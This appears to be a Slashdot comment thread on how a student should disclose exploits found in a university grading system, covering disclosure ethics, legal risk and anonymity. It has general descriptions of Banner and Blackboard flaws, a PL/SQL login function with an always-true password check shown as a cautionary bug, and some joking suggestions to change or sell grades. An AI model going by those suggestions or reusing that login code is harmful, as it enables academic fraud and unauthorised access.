      First I have to verify their claim, second I have to consider the damage they may have done (purposefully or not). If this means a call to security then I am obligated to do that. After that I have to consider fixing my system and damage control.

      I find it disturbing that fixing the problem takes a backseat to investigating the student. Frankly, I would hope that you wouldn't investigate that student at all--first, fix the problem, and second, examine your logs for evidence that the flaw has been exploited. Investigating the student will discourage anyone who finds an exploit in the future from telling you--after all, if this person had just made use of the exploit instead of reporting it, he would have improved his grades for free, avoided the hassle of trying to defend himself in a kangaroo court, and almost certainly wouldn't have been caught.

      In a case where being caught doing nothing is likely to carry the same consequences as being caught doing something horrible, many people will prefer a slim chance at being caught with blood on their hands over a surefire legal hassle and potential expulsion for trying to do some good. (Of course, there's the option of neither reporting it nor exploiting it, which many more people would prefer, but you'd still rather have them report it.)

      Any response that discourages people from reporting exploits reveals an attitude that you consider yourself invulnerable--if you thought there might be more bugs, you'd encourage people to report them so you could fix them. There will always be bugs; the more you accept this and act accordingly, the cleaner your application will be.

      --
      I found the meaning of life the other day, but I had write-only access.
    3. Re:As a university sysadmin.... by Chatterton · · Score: 1

      I have dealt with students bringing up exploits to me that they have found work in our system. First I have to verify their claim, second I have to consider the damage they may have done (purposefully or not). If this means a call to security then I am obligated to do that. After that I have to consider fixing my system and damage control.

      Because of this kind of risk for me, By 3 times I have never divulged security holes that I have found or see other student used. You like to risk to fuck up a student career because he report you a security hole. For me I prefer that the system be fucked up than my scholarship (As long I am not in bad relation with to ones who abuse the system). In this last case I prefer the anonymous full disclosure with source of the exploit code by flyers on the campus... A lot of headache for your kind of people... Now I am out of school and I have a little shame to not have reported theses security hole. But like leo Ferre say in is song: "Avec le temps, avec le temps, va, tout s'en va"

    4. Re:As a university sysadmin.... by wirelessbuzzers · · Score: 1

      If you approach me you had better be able to prove that you have not altered your grades.

      Um... depending on the exploit, proving that he did not alter his grades wouldn't be trivial. If the security hole leaves no traces in the logs, it's pretty much impossible to prove that you didn't change something. If you want to prove that you *did* change it, you can get a trusted source to make and sign a "before and after" shot of it (tougher on something you do not have legitimate access to), but if you want to prove that you *didn't* change it, you basically must diff with the backup tapes.

      I have dealt with students bringing up exploits to me that they have found work in our system. First I have to verify their claim, second I have to consider the damage they may have done (purposefully or not). If this means a call to security then I am obligated to do that. After that I have to consider fixing my system and damage control.

      Oh, come on man, you can do better than that! You're the sysadmin. You have the logs. If anyone can check whether a student damaged something, it's you. And given that the university may take disciplinary action if they find out the student's identity, you shouldn't disclose that identity. They're doing you a service, aren't they?

      --
      I hereby place the above post in the public domain.
    5. Re:As a university sysadmin.... by Anonymous Coward · · Score: 0

      I agree with just fiddling around's comments. Hold that attitude on any network I run and you'll be out the door in a heartbeat. Of course as a military network admin I'm a bit more concerned with the actual integrity of my systems.

      The times i've had members point out flaws in systems I manage, i've not only fixed the systems i've had the individual publically praised for their efforts. - To bad as a civilian I can't give them medals. =-(

      If the "hacker" wanted to use their exploit for nefarious purposes they would have not come to you. ( You of course have logs and backups to verify this ;-))

      There are plenty of people out there attacking your network. People coming to you are on your side, use them. Prosecute the real criminals. If you are running a real college network there are plenty of them. - At least there used to be. ;-)

      I'm obviously posting anon from outside my network.

    6. Re:As a university sysadmin.... by WasteOfAmmo · · Score: 1
      Hmmm, lots of replies to address so I will start here to clear a few things up as I may (read as: was) not clear the first time around...

      1. As an employee of the university, I am obligated to pass on to relevant parties any information which I judge may be of importance to the university. At very least, even if I do not pass the information on I am obligated to document it for future reference if needed.

      Does this mean that the information takes on a life of its own and is persistant? Not necessarily. Examples are security tapes from our lab cameras which have a shelf life after which they are re-used. If an incident is caught on tape but not noticed (or noticed but not asked for) in time, the record is destroyed when the tape is re-used. Just the same that I log most interactions with students but most of those logs never again see the light of day and eventually get destroyed.

      2. When I stated "second I have to consider the damage they may have done" I did not mentions anything about "investigating" the student; nor did I intend to imply such a case. By "consider" I mean to make a judgement based on the person, their story, their claim, and the type of incident, as to whether or not other parties should be informed of the incident. Other parties could include, security, other department staff, other affected departments, etc. This "consideration" is usually done on the fly as I am working with the student when they approach me.

      Incidently, out of the incidents that I have had to deal with to date, only one was forwarded to security (stolen property related), most were only discussed with other department staff (peers), and one was moved up the "chain of command" within the department (possible large scale copying of assignments involving several students). In most of the incidents I documented the incidents and worked with the student to develop and test the solution.

      I agree whole heartedly that it would be great if students (or anyone) could be a "whistle-blower" (ya know what I mean) without suffering any negative concequences and this is the tact I like to take whenever possible (it is much better to have friendly helpful users then unknown users). Unfortunately in some cases the choices are not mine to make else I would not be performing the duty I was hired to do.

      Final note: I agreed with posters about submitting the exploit anonymously not to avoid individuals like myself but to avoid individuals who are more likely to blow the students roll in the incident out of proportion or use the incident for self-gain ("look at me, I caught an uber-hackor; promote me!).

      Hope this clears things up a little.

      Merlin

    7. Re:As a university sysadmin.... by WasteOfAmmo · · Score: 1
      I understand your position completely. Especially with regard to some of the "professionals" I have encountered in this job. Unfortunately it is hard to know how some "professionals" will respond when you approach them with such information. Slashdot has had several stories about individuals getting screwed when playing the "good samaritan" (sp?) role.

      But also note: I do not like to see any student/person suffer unduly. Especially when they are brave enough to take a stand on an issue and attempt to correct it. To many people get shot down when they are simple attempting to help.

      My view is that if you are trying to help then you should not be punished and I will do what I can to assist, whereas if you are conciously going against the rules then you have lost my respect and are on your own.

      Reporting anonymously is better then ignoring and this is the minimal suggestion I support if the reporter does not know what time of persons they are reporting to.

      M.

    8. Re:As a university sysadmin.... by WasteOfAmmo · · Score: 1
      Re: proving

      I'm not saying that you need to prove to me that you have not utilized the exploit, or for that matter that I must prove you have used it. I am saying, if you approach an official you had better be sure of your case "just in case" as you have no assurances where or how far it may go. This is a simple case of the student ensuring their behind is covered.

      I agree that proof either way may be difficult but so far as grades go most faculty keep off-line records so the proof would be easier for them then me.

      Re: doing better then that.

      Yep, I would love to say to all "don't worry, you can trust me, I'm your friend, no harm will come to you" but the sad fact is that:

      • I have no idea who you are nor you true motivations.
      • I have been given a job to do and although in practice I have a great amount of leeway, I still have limitations that I must work within.
      As I mentioned in other replies: if your honest, and you convience me of that, and your trying to help then I will take it and appreciate it and other then documenting the incident it would likely go no further. If it looks bigger then I can/should/have-time-to handle or I have reason to believe you are not being honest and the incident has real concequences then somebody else will enter the picture.

      Does that make it clearer?

      M.

    9. Re:As a university sysadmin.... by WasteOfAmmo · · Score: 1
      ... and everyone know exactly what it was I was running, all the time, anytime. I also knew a load of weaknesses within the network, and had repeatedly told the techs what was wrong with the security of the network.

      Someone blew the whistle on nothing. As in, they found nothing that they could incriminate me with. Just a CD full of fluff, and my IP.

      Ok based on just what you have stated above: Yep, you did the right thing. Yep, the whistle blower was probably out of line: You made the techs aware of your actions and progress. Base on no other information I agree that the whistle blower was out of line and that this type of action helps no one. It may not have been the techs but instead someone else in the department that they were simple keeping "in the loop" as opposed to reporting a "problem" to. If I had been "in the loop", based on your limited details only, I would have seen no need to report a "problem" since I would have been the one giving you the go ahead to experiment and let me know your progress.

      Your job is to secure that network, not fuck the academic career of a student's life, understand? Don't bother the kid, it's tested, it works, go fix it, and now.

      As a university sysadmin, if someone came to me with an exploit within our network or systems, I don't care what the kid's done, it's not my job to worry about that. However, unless I want it to go FD, I would go up and fix it.

      Correct, it is not my job to screw up anybodies academic career, life, etc. However it has been made clear to me that it is my responsibility to ensure that the policies set forth by the university are enforced and that encrouchments on those policies are dealt with as indicated by said policies. This is true for all employees of this university so yes it is my obligation to report incidents which I deam of importance outside my little realm. However, note that I said "deam of importance". This is the power given to me and one that can be easily abused resulting in damage to others. Although I try not to abuse it and to do my best to assist our users/students I am sure that there are others that do abuse it for thier own gain.

      Watch your obligations. You could destory someone's academic life that way. Trust me, I have Computer Trespass in the Second Degree (RCW 9A.52.110) on my record, and was forced out of the Seattle School's system, just because of a whistleblower who didn't know what they were blowing the whistle for. Based on what you said, I sympathize with you as this probably not have happened. It is due to unforseen outcomes like this that I, as I stated outright, suggest and support anonymous full disclosure.

      M.

    10. Re:As a university sysadmin.... by WasteOfAmmo · · Score: 1
      I agree with just fiddling around's comments. Hold that attitude on any network I run and you'll be out the door in a heartbeat. Of course as a military network admin I'm a bit more concerned with the actual integrity of my systems.

      Read my other replies and tell me if my points are clearer and if you have changed you mind.

      The times i've had members point out flaws in systems I manage, i've not only fixed the systems i've had the individual publically praised for their efforts. - To bad as a civilian I can't give them medals. =-(

      Great, keep up the good work. I have done what I could in certain cases also.

      If the "hacker" wanted to use their exploit for nefarious purposes they would have not come to you.

      Unfortunately not always true... haven't had a case personally but have seen it on the university campus enough times. It is truely shocking what some people will do or how stupid some people are about doing it.

      There are plenty of people out there attacking your network.

      Nary a truer word be said. Speaking of work I had better get back at it instead of further proving my lack of English skill on Slashdot ;-)

      M.

    11. Re:As a university sysadmin.... by PetWolverine · · Score: 1

      Fair enough.

      It still irks me that you have to consider calling security on the student that actually reports it. Sort of reminds me of a line from a classic movie: "Sorry, Luke; just doing my job." But I suppose that's the way of the world.

      --
      I found the meaning of life the other day, but I had write-only access.
  88. Ponderings by Alizarin+Erythrosin · · Score: 1

    Interesting to say the least. If you slack off all semester then use this exploit to change your grade, you'd better keep quiet. I'm sure the prof has non-online records to double check your actual grade if he/she gets word of the exploit. You should actually maybe talk to a lawyer, maybe they can help you draft a letter in terms that don't sound threatening... or at least in so much legalese that they won't even be able to decipher who you are.

    Best bet (at the risk of being modded redundant) would be to anonymously contact the company. If you want to avoid suspicion, bomb the class a little first so your grade kinda sucks. Just make sure you have a way to bring it back up again ;-)

    --
    There are only 10 kinds of people in this world... those who understand binary and those who don't
  89. A little late... by JWhitlock · · Score: 3, Interesting
    I am a U.S. university student who has recently come across 2 remote exploits for a homework program used by colleges nationwide.

    Come across? Like you woke up one morning and found them in your mailbox, between credit card offers?

    Both vulnerabilities allow students to give themselves arbitrary scores, and possibly execute arbitrary code. To further emphasize the scope of this vulnerability, I have written and -selftested proof-of-concept exploit code.

    Now I'm thinking - did you have a legal copy of the software you were "testing"? If not, do you know the person/entity who has the legal copy? Did you get their permission to poke around?

    I would expect the litigation or academic discipline, if you pursued your experiment without a legal copy, or at least the permission of the person who owned the licensed copy. Or at least asked a professor to act as advisor for your experiments.

    As an ethical geek, what do -you- do?

    Ask permission from the target company before pursuing exploits.

    I may be reading too much into the poster's brief notes (or maybe the poster's name), but I have a feeling that there are several illegal (and possibly unethical) things that have been done so far. The best way to avoid a situation like this is to plan to be ethical, legal, and open from the beginning. Get the company's permission, the schools permission, etc., and no one will be suprised when you get some results. Otherwise, they may say "Thank you, now please come to court in two weeks", and you have little recourse except to hire a lawyer.

    Which the poster should probably do, anyway. It's a shame - with the proper authorization, this could have been an interesting senior project.

  90. well by Anonymous Coward · · Score: 0
    I set the threshold at 4 and all I see is the following:

    What to do
    You could always try approaching your advisor or some other trusted faculty member.

    but of course...
    you go to slashdot and brag about it.

    This sums up the story quite well, doesn't it?
  91. get a better grade .com by zarthrag · · Score: 1

    Start your own website based off of the exploit. Students pay you, you fix their grades, you get paid, and forget about the hole being patched!!! But then there is that darn ethics thing. Document the error and report it directly to the company. If they give you the brush, no big deal--you've done your duty. If they litigate, I think you'll have no prob getting help. And besides, the attention will start a career if that's your goal. Make sure you can the proof of concept code though, that'll get you in trouble. The DMCA is in full effect, just document the error, and tell what is exposed. No other details.

    --
    Why can't all fpga/microcontroller manufacturers just release free optimizing compilers???
  92. blackboard? not necessarily.. by Mobster75 · · Score: 5, Informative

    Sure, it's probably Blackboard which most colleges use, but if it's not Bb, it could also be Banner by SCT which plenty of schools also use.

    Compromising Banner is far more dangerous than Blackboard (Bb).... Most schools that use Banner use it as their student management system, which records official transcript, program requirements met, class registration, etc. etc.

    In my last undergrad semester, my team developed a website that interfaced directly w/ the Banner system and even found some loopholes in it which we exploited to allow our website to do a better job at calculating program requirements met and suggested offerings to complete it. (This was for an Advanced Software Project Mgmt class)

    Needless to say, the Registrars office people were very intrigued by our exploration into the limits of the current system. I imagine a less cooperative school administration would be more punitive.. (But I went to a business school, so they know we just get motivated by $$ ;) )

    1. Re:blackboard? not necessarily.. by Anonymous Coward · · Score: 0

      Sure, it's probably Blackboard which most colleges use

      I'd be surprized if it was blackboard. I mean it seems like it hardly runs long enough for someone even to figure out how to exploit it before it goes down again on its own.

    2. Re:blackboard? not necessarily.. by Kwikymart · · Score: 1

      "I imagine a less cooperative school administration would be more punitive"

      I think in this case, since it had to do with a class, the school would have to think twice about going ape-shit on you. This was a school project that was okayed by a prof no doubt, so how could they punish you without totally compromising academic freedom? They couldn't exactly label you as a cracker without totally being obvious and spreading half-truths instead of the whole story.

      --

      Buying a Dell computer is equivalent to dropping the soap in a prison shower.
    3. Re:blackboard? not necessarily.. by calethix · · Score: 4, Informative

      I've found what I would consider security issues in Banner's web products before. Stuff that if you pass the correct variables to it, will display information from the database without doing any kind of user validation.
      To understand the issue, you have to know that it uses Oracle Application Server which basically lets you execute packages in the database. All of the main web packages do user validation but some of them call other packages to display the content of the page (which don't always do validation).
      So, if you know what variables to pass to said packages, you can bypass their security. SCT told me that since those were only supporting packages, they were functioning properly and they wouldn't do anything to change them.
      Granted, you have to have a pretty in depth knowledge of how their web products work but that's a good number of employees at any school using Banner. We have access to all of the package/program source so we can customize it for our university's needs.
      Oh well, I've ranted about SCT enough. :)
      What was funnier though was when I discovered that our database had execute any procedure granted to public, i.e. the web user. That essentialy opened up any database procedure to be executed by an anonymous user via the web. I think that one was our fault instead of SCT's and it was fourtunately taken care of fairly quickly.

    4. Re:blackboard? not necessarily.. by Pandora's+Vox · · Score: 1

      Several Canadian universities (Carleton, Toronto) use somethign called WebCT. It seems highly flakey to me, and I'd be 100% not surprised if it was here that the vulnerabilities were found.

      -Leigh

    5. Re:blackboard? not necessarily.. by WoTG · · Score: 2, Interesting

      FWIW, WebCT started out at as an in house development for one of UBC's faculties (I think it was Chem.). Anyway, it grew quickly and soon most of the University was on it. I think it's been commercialized by now, but I'm not sure.

    6. Re:blackboard? not necessarily.. by Anonymous Coward · · Score: 0

      Some Rensselaer professors use this system for their classes, but it isn't a institution-wide standard.

      FWIW, I believe that RPI also uses Banner for their student management system, etc. We all get emails addressed from "Banner" when it comes time to register; however, that in itself doesn't mean they actually use Banner.

    7. Re:blackboard? not necessarily.. by Anonymous Coward · · Score: 0

      Speaking of passing variables, that reminds me of the fun I used to have with BGSU's student portal. You can have it display any text you want by appending it to the address. I used to have lots of fun modifying the browser home pages in the labs.

  93. Anonymous Remailer by Anonymous Coward · · Score: 0

    You can inform several independent trusted parties via an anonymous remailer. These can include independent security research companies, the author of the software, and the dean of your college. I recommend Mixmaster for doing this. This will protect your identity, should the author(s) of the software choose to take legal recourse against you for finding and disclosing the vulnerability in their software.

    1. Re:Anonymous Remailer by mwilliamson · · Score: 0

      Cyberpunk remailers chained together for added security, each remailer stripping off a layer of pgp encryption, extracting a forwarding address, and sending an encrypted message to the next remailer. It's a pretty solid system. Besides having the final remailer send an email to someone, these remailers can also post to usenet.

  94. Find a professor you trust... by Goonie · · Score: 5, Insightful
    I am a postgraduate student (hopefully) not that far away from finishing. I have been a casual tutor for years at two different universities; I am also on the board of a university-affiliated institution (an "academic college"). I've been involved in some very nasty catfights, so I've been around the block.

    If you decide to pursue the route of getting something done about it, I'd suggest:

    • don't even discuss the idea of a quid pro quo, be it monetary or academic. It makes you sound like you're trying to blackmail your university or the companies involved. Unless that's what you want to do, of course...in which case I hope you enjoy a short and unsuccessful career as a criminal.
    • Get somebody with muscle and who understands the situation on your side. A tenured academic who understands the technology and the geek ethic is ideal. If you don't know them directly, maybe a TA or another more advanced student that you do know directly will.
    • They may want it solved on the quiet. Will you be prepared to accept that, or do you want glory?
    • If it doesn't get solved, then you might consider taking it to the student paper. All journalists love a juicy story, and most student papers (if they've got enough editorial independance) love sticking it to the uni admins, so they are a good option. If that's not an option, there is the local media, but if it goes that far you really want help - you can never be sure which way a journo is going to spin a story, particularly one like this, and a professor sounds a whole lot more credible on TV than a scruffy college student. I know that's not fair, but that's the way it works.
    --

    Any sufficiently advanced technology is indistinguishable from a rigged demo
    --Andy Finkel (J. Klass?)
    1. Re:Find a professor you trust... by cliffy2000 · · Score: 2, Funny

      You know, every time I hear "quid pro quo," I can't help but think of this 8-bit Theater strip.

    2. Re:Find a professor you trust... by Anonymous Coward · · Score: 0
      This is a bit off topic, but it seems rather odd:

      don't even discuss the idea of a quid pro quo, be it monetary or academic. It makes you sound like you're trying to blackmail your university or the companies involved. Unless that's what you want to do, of course...in which case I hope you enjoy a short and unsuccessful career as a criminal.

      I'm sorry, but isn't capitalism about getting compensation ($$$) for work? So doing a favor for these people by doing their job for them should under such an ideal get you money. Yes, I know it's close to blackmail, that's the problem.

      I just find it interesting to point out that the only way for outsiders to repair a security exploit is to do it for free, which is completely against only doing stuff for money.

  95. Use a library terminal by Whomever · · Score: 2, Insightful

    If you're worried about repricussions, then use a public library terminal and a new hotmail type free mail account. Most public libraries intentionally do not keep traffic logs these days anyway (because of the privacy issues involved with turning over those logs if they are subpoenaed).

    But, I'm a security admin at a university... I occasionally have students bring vulnerabilities to me. Often I already know about it, but I still welcome the input and am thankful for the extra eyes watching the network. I've just got too many nodes to keep up with to catch every computer.

    --


    ----------
    perl -e 'print(pack("H*","646176652e7761676e657240676d6169 6c2e636f6d0a"));'
  96. yo, is this blackboard??? by dallask · · Score: 2, Interesting

    Today I ran across 2-3 holes (cross site scripting with remote execution, sql injection with code exposure, and account hijacking) in the blackboard system which I am currently working to exploit... for a proof of concept. if this is the same system your talking about, I want to talk with you. maybe with enough amunition they will listen to the both of us more than they would listen to one.

    email me.

    --
    The Code Ninja is swift with his tool, precise in his delivery, and deadly accurate in his execution.
  97. cough cough by blugu64 · · Score: 1

    cough cough......webct....cough cough

    --
    "Personal ownership is a hallmark of conservative capitalism. And I don't believe I am entitled to anything that I did n
  98. I suggest by jsse · · Score: 1

    1) Abuse the hell out of it and secretly release the exploits when you get tired of getting multiple PhD/MSc/BSc in various subjects.

    2) Contact the most famous security firms around, tell them about your foundings and get an early employment contract before your graduation. :)

    Option 1 sounds attractive but option 2 can save you from getting your ass into federal prison. :P

  99. Stop plagiarizing Wargames by bstadil · · Score: 1
    I do not believe this post. It's a Troll/ hoax.

    I liked Matthrew Broderick's IMSAI 8080 dial-up system in Wargames better.

    --
    Help fight continental drift.
    1. Re:Stop plagiarizing Wargames by mvdw · · Score: 1

      I liked Matthew Broderick changing the number of sick days he'd had in Ferris Bueller's Day Off...

    2. Re:Stop plagiarizing Wargames by Anonymous Coward · · Score: 0

      ... nine times.

      Nine times?

      Nine times.

  100. Post the info anonymously on Freenet by Tracy+Reed · · Score: 2, Informative

    Freenet Project

    And then give yourself an A. :)

  101. I've seen worse security by Brian+Stretch · · Score: 1

    For the online quizzes for the class I'm taking now, the textbook publisher's website asks for the student's email address and the professor's email address. That's it. It then sends the results to those addresses and notes the correct answers to whatever was missed. Near as I can tell you can enter anything you want for those email addresses.

    The instructor gets the usual username/password combo and he assumed that students had to set up accounts tied to his class because the publisher knows that students might be tempted to cheat, right?

    In all fairness, maybe they just figured that securing an open book do-at-home quiz wasn't possible anyhow. But I'm honest, antisocial, and getting decent grades anyhow so I let the professor know.

    To the guy who suggested selling higher grades to the football team or fraternities: forget that. Trade with the cheerleaders :-).

  102. Uhh... duh by duffbeer703 · · Score: 1

    Open up a phony hotmail account from a lab workstation in school.

    I call bullshit -- if you were smart enough to find exploits, you'd be smart enough to figure that out.

    --
    Conformity is the jailer of freedom and enemy of growth. -JFK
  103. Go so far and no further . . . by werdna · · Score: 1
    There are a host of issues about which any technical person performing work on a machine should be concerned :

    1. Computer Fraud and Abuse -- this is a general category of conduct that basically is implicated whenever you make an unauthorized access to a machine or exceed the scope of your authorized access to a machine. Sure, certain statutes, like the CFAA, have additional issues (ok, so long as you don't do so much damage; need certain states of mind, etc), but there are many other statutes upon which you might be hung. In short, if you ever come close to the line of unauthorized access or exceeding same, back off. Period. If you need to go further, get authority (and I mean written and plenary authority) or better yet, get legal advice.
    2. Don't screw around with data. Even if its not CFAA, you face a litany of other claims whenever you change data not your own.
    3. Don't mess around with acceptable use. Learn the AU policies under which you are operating -- this is not ony the best guide for whether you are "authorized," it will be Exhibit 'A' in any action against you on the point. What is far worse, if you are in a University or institutional context, there are internal things an institution can do, whether or not the government can, and AU violations invariably are something you have agreed to the most extreme sanctions in some document you signed somewhere. In short, forget whether you committed a crime -- if they get to kick you out of school because they want to, make sure you don't make it easy for them to do so.


    In short, the very fact that you asked this question indicates that you suspect you have gone too far already. Discovering an exploit raises the question how you found it. If you did so innocently, that's fine -- report the potential risk, and offer services under written authority to make your "proof of concept."

    But realistically, if you are testing an exploit to bring the point home, you have already put yourself at risk. Until you are invited to the party, it is very dangerous to expose those risks.

    At least, take care to "go through the channels," before you do some subculture hacking. If you do the latter, be prepared to stay with the subculture -- whether you be white hat or black hat, your personal sense of ethics don't necessarily comport with your agreements with the University or the law.

    I am not saying that you should support security through obscurity, or refrain from exposing security risks. I'm suggesting that if you want to do that, there is a far safer protocol than taking everything into your own hands.
  104. Chaotic Good, my friend! Say nothing. by Fantastic+Lad · · Score: 4, Interesting
    There has been a history of people being punished for doing the right thing.

    Yes, this is insane, but it's also how it is.

    --True, if you take the right approach, have the right kind of charisma, (ie, express honesty and even explain your concerns up front about how other people before you being punished for having done the right thing in the past,) you might be able to pull it off. I wouldn't count on it though. The sheep behind the glass are getting colder every day, and even a smooth talker like me has been really having to sweat in order to earn my best intentions. It's getting tough out there.

    So in this instance, and others like it, I wouldn't bother.

    And just to be clear, I wouldn't use the exploit either. --Chances are, if you do, you'll really end up in hot water. Indeed, I strongly suspect that some cases of these kinds of exploits are designed to discover those who are not sheep-like enough so that they can be flagged for later. . , uh, disposal. (Same goes for things like performing acts of geurilla advertising, and ad-defacement of particularly nasty posters and billboards around your town. That sort of thing is monitored.)

    --Which, of course, means that if you try in earnest to bring the hole in the code to the attention of the 'masters of the universe', then somebody, somewhere will be all pissed off with you for ruining their entrapment scheme.

    My advice? Sit tight. --The furthest you might want to go is to discuss it openly to anybody who cares to listen, saying you heard about it on the net from some anonymous coward. Wide open honesty is usually the best way to screw evil plans without bringing down reprisal and brimstone on your head. Works for me.


    -FL

  105. Am I... by xintegerx · · Score: 1

    Am I the only one who was about to submit:

    "Don't tell YET, I've still got one more semester left ;)" ..as a joke, but then erased it after imagining homeland defense troopers with pitchforks and with various illegible (and infamous to Slashdot groupies), BILLS and ACTS in their mouths, showing up at my doorstep? Good.

    I'm just kidding, I am anti-cheating and this should be announced asap. This should hit the major media, THUS showing people this particular market is not dominated yet, and giving us nerds jobs to make competing products ;) THINK ABOUT IT!

  106. What is the goal? by lpret · · Score: 4, Insightful

    I would argue that there are several answers depending on the poster's goal. Is he interested in working for Blackboa...I mean, the software he is discussing (and/or any other company) and wanting to show his prowess? Or is it truly out of the kindness of his heart? Regardless, I would completely bypass the school. Contact the software company directly as they understand the issue better. It would be your luck that a random administrator at your school would hear about this and label you a h4x0r and a menace to society -- remember that people hate what they cannot understand.

    --
    This is my digital signature. 10011011001
    1. Re:What is the goal? by Czyl · · Score: 5, Insightful

      I concur wholeheartedly with the parent and caution you to be extremely cautious in going about this correctly. I work as a student lawyer of sorts at a major US university and defend students involved in disciplinary/judicial incidents with the university. Last year I represented a student who was ultimately expelled for exploring (not exploiting) severe security vulnerabilities on a campus library network with an eye to pointing out to someone higher-up that the school had massive holes in its architecture. Bureaucratic admins and faculty are hard-pressed to understand that the way to check system security is to carry out the same probes a h4xj0r would. My recommendations: 1) Cover your back. Document what you are doing and notify someone you trust (a faculty member in the CS department would be great) about your plans and benign intentions. 2) Contact the -company-, not the school, and notify them that you'll be issuing the exploit to BugTraq within a set time frame if the bug isn't corrected. Don't let your school even find out about this if you can help it. No need to be anonymous when contacting the company. They oughta thank you, really. 3) Publish the exploit on Slashdot unless the company specifically tells you why they cannot correct the problem during the set time frame. You don't even need to be anonymous. Legal action against security whistleblowers ought to be illegal, but at least here /.ers will die by the hundreds to defend you.

    2. Re:What is the goal? by arkanes · · Score: 1
      Maybe you can use a sort of 2-step publishing? Tell em that if they don't fix it within 60 days that you'll notify everyone. If they don't, or after 30 days if they blow you off or don't respond or something, post an announcement of the vulnerability, but not the details. Make this announcement somewhere that schools can find out about it. After the 60 days, go ahead and do the full release.

      As for academic protection, talking to someone in the school that you can trust (maybe you're close friends with a prof?) and getting some sort of verification of your grades might be a really good idea. It's entirely possible that some asshole beancounter will decide to expell you, just because you had the ability to change your grades.

    3. Re:What is the goal? by poot_rootbeer · · Score: 1

      but at least here /.ers will die by the hundreds to defend you.

      No they won't. They'll post messages of support to Slashdot, encourage each other to donate to the EFF on your behalf but not donate themselves, and eventually the thread will devolve into a flamewar about the nature of intellectual property.

    4. Re:What is the goal? by vsprintf · · Score: 1

      Legal action against security whistleblowers ought to be illegal, but at least here /.ers will die by the hundreds to defend you.

      Yes, we'll be behind you. Way, way behind you. Forget this talk about dying. We'll let the subscribers do that.

  107. DO NOTHING by YetAnotherName · · Score: 5, Insightful

    With the current political climate, your best bet is to do absolutely nothing. People are arrested for expressing opinions, others are denied due process for free speech, and still others are deemed terrorists for even the slightest questioning of a government's actions. Corporations mandate what can and cannot be done and are happily funded by a more sheepish and numbed people, armed with a more sheepish and willing set of so-called representatives.

    Do nothing. Sure, you can pat yourself on the back for your ingenuity, but file your discoveries away in your mind. The world cannot tolerate them now.

    Sad. But true.

    1. Re:DO NOTHING by in7ane · · Score: 1

      Yes, just imagine one of those foreign terrorist students gets a hold of this, changes their grades to stay in university, and then commits a terrorist act - you'll go down for life!

    2. Re:DO NOTHING by Lost+Race · · Score: 1

      Agreed. By doing nothing, you also keep your options open -- you could potentially make use of the exploit someday should you find yourself in dire straits, academically or financially. Obviously that's a doomsday scenario, but you never know, shit happens. Also an opportunity may someday present itself whereby you can reveal the bug without possibility of negative consequences. Perhaps someone else will discover and exploit the bug and you can help "track it down" and fix it. No one ever need know that you had a head-start.

    3. Re:DO NOTHING by Anonymous Coward · · Score: 0

      >Do nothing. Sure, you can pat yourself on the back for your ingenuity, but file your discoveries away in your mind.

      Thoughtcrime!

    4. Re:DO NOTHING by starcraftsicko · · Score: 1

      Parent was a political troll and should be modded DOWN! Please stop feeding the trolls people... even if you do share their politics.

      That said, Doing Nothing is your safest bet. The vunerability will be discovered by the vendor some weeks or months or years in the future and it will be patched. Nobody will know that you changed something as proof of concept.

      If you contact the University, the problem WILL be solved... but you will face punative action... your proof of concept changed something.

      Even if you rely on anonymous methods to inform the University, you may still find yourself in trouble. Suddenly aware that they have a problem, they will examine whatever access records they have. Are you sure that you werent logged in to a traceable account when you did your proof of concept? How about your research?

      Contacting the vendor is your best bet. They have an interest in quietly fixing the problem. If you stick to anonymous methods, they'll likely just take and use the information and avoid the scandal.

      Good Luck

    5. Re:DO NOTHING by Anonymous Coward · · Score: 0

      "The only thing needed for evil to prosper is for good men to do nothing"

      - Edmund Burke

  108. Answer! by DerangedYeti · · Score: 1

    Fix the bug, then sue them for stealing your code! Works for SCO

  109. One more idea... Flunk the whole school! by notetoi · · Score: 1

    (but keep a backup of the original) That should get their attention.

  110. High School by Anonymous Coward · · Score: 0

    You might get away with this as a respectable adult in higher education, but if you were a high school student, I would say don't even think about taking credit for any computer work, security related or otherwise. Many high school are extremely hacker paranoid. I was suspended for teaching a kid how to use a boot disk freshman year. This goes for other subjects in school too, unless you are a nice strait preppy kid, play stupid.

  111. LAWYER by Rinisari · · Score: 0, Redundant

    Go to legal counsel immediately. Like don't pass go don't collect $200. With current psycho DMCA people out and about looking to make a quick buck from someone such as yourself and make themselves look like the smart ones and not be played the fool. Have the lawyer send the company a letter stating your intentions.

  112. Re:What's in it for you? by WildBeast · · Score: 1

    All I'm saying is that he shouldn't take a chance, he doesn't know how they will react so why risk it and for what?

  113. When I was in college... by Anonymous Coward · · Score: 0

    When I was in college I busted root on the computer that kept track of all the grades. I showed everyone in the dorm and the next day I called the computer lab folks. They were pissed I showed everyone. Oh well.

  114. here you go by Anonymous Coward · · Score: 0

    post it with a sharpie marker on the bathroom wall of the men's room.

  115. Been the coder by phorm · · Score: 2, Interesting

    I accidentally left a hole like this on a server I was working with once. I'd actually had checks to ensure such a thing didn't happen, but disabled then when I was debugging and forgot to uncomment the code (dumb dumb dumb). Luckily, that particular server didn't have anything overly special, though the ability to view users in the passwd file (which contained fullnames) was annoying.

    I must say that I greatly appreciated when somebody informed me of the hole, though I felt like an idiot afterwards. Not everybody is an asshole about such things. I'd expect also that there would be some form of sysadmin that you might be able to contact (anonymously or otherwise), and he might appreciate it more than perhaps an exec who has no clue about security.

    1. Re:Been the coder by Anonymous Coward · · Score: 0

      Heh, I wrote PL/SQL at one point, and had a procedure much like this (PL/SQL syntax withheld to protect the innocent, and due to long non-exposure which made me forget):

      boolean authenticate(string user, string password) {
      return EXISTS(
      select ID
      from USERS
      where NAME = user
      and PASSWORD = password);
      }

      Looks harmless? Look again! PL/SQL isn't case sensitive, so it only verifies that the field PASSWORD equals the field PASSWORD. I actually had this on our server for a week+ (stupid to the power of forever). Thanks God our user base was small and not likely to even try something. I learned something: The lack of case sensitivity means that two names that _look_ different really mean the same thing, and that is _bad_. I obviously never would have put 'PASSWORD = PASSWORD' in there.

  116. Not Blackboard! by LucidityZero · · Score: 2, Funny

    One of my best friends is one of the lead programmers for blackboard. So I would like to extremely biased, and tell you that it can't be Blackboard that has issues!

    Can't we blame this on Microsoft somehow instead?


    --
    Sig.i>
    1. Re:Not Blackboard! by spamchang · · Score: 1

      so send the code to LucidityZero's friend and they'll fix it.

    2. Re:Not Blackboard! by Sinus0idal · · Score: 1

      Ahhh, but thats what he 'wants' you to do :-)

    3. Re:Not Blackboard! by hupog · · Score: 1

      Doesn't Microsoft part-own Blackboard...???

